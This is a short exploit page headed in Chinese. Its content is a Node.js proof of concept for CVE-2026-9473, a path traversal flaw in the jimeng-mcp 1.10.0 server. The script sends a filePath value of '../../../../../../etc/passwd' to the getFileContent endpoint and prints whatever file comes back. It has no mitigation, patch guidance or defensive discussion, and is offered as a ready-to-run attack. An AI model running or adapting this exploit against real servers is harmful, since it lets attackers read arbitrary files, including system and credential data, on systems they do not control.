CVE-2026-9473 路径遍历漏洞

// PoC for CVE-2026-9473 Path Traversal // Target: c-rick/jimeng-mcp 1.10.0 // Function: getFileContent / uploadCoverFile / generateImage / generateVideo // Description: Manipulating the 'filePath' argument to read arbitrary files. const axios = require('axios'); async function exploitCVE20269473() { const targetUrl = 'http://target-host:port/api'; // Replace with actual target URL // Payload attempting to read /etc/passwd using path traversal sequences const maliciousPayload = { filePath: '../../../../../../etc/passwd' }; try { // Example targeting the getFileContent function const response = await axios.post(`${targetUrl}/getFileContent`, maliciousPayload); if (response.status === 200) { console.log('[+] Exploit successful! File content retrieved:'); console.log(response.data); } else { console.log('[-] Exploit failed, unexpected status code:', response.status); } } catch (error) { console.error('[-] Request failed:', error.message); } } exploitCVE20269473();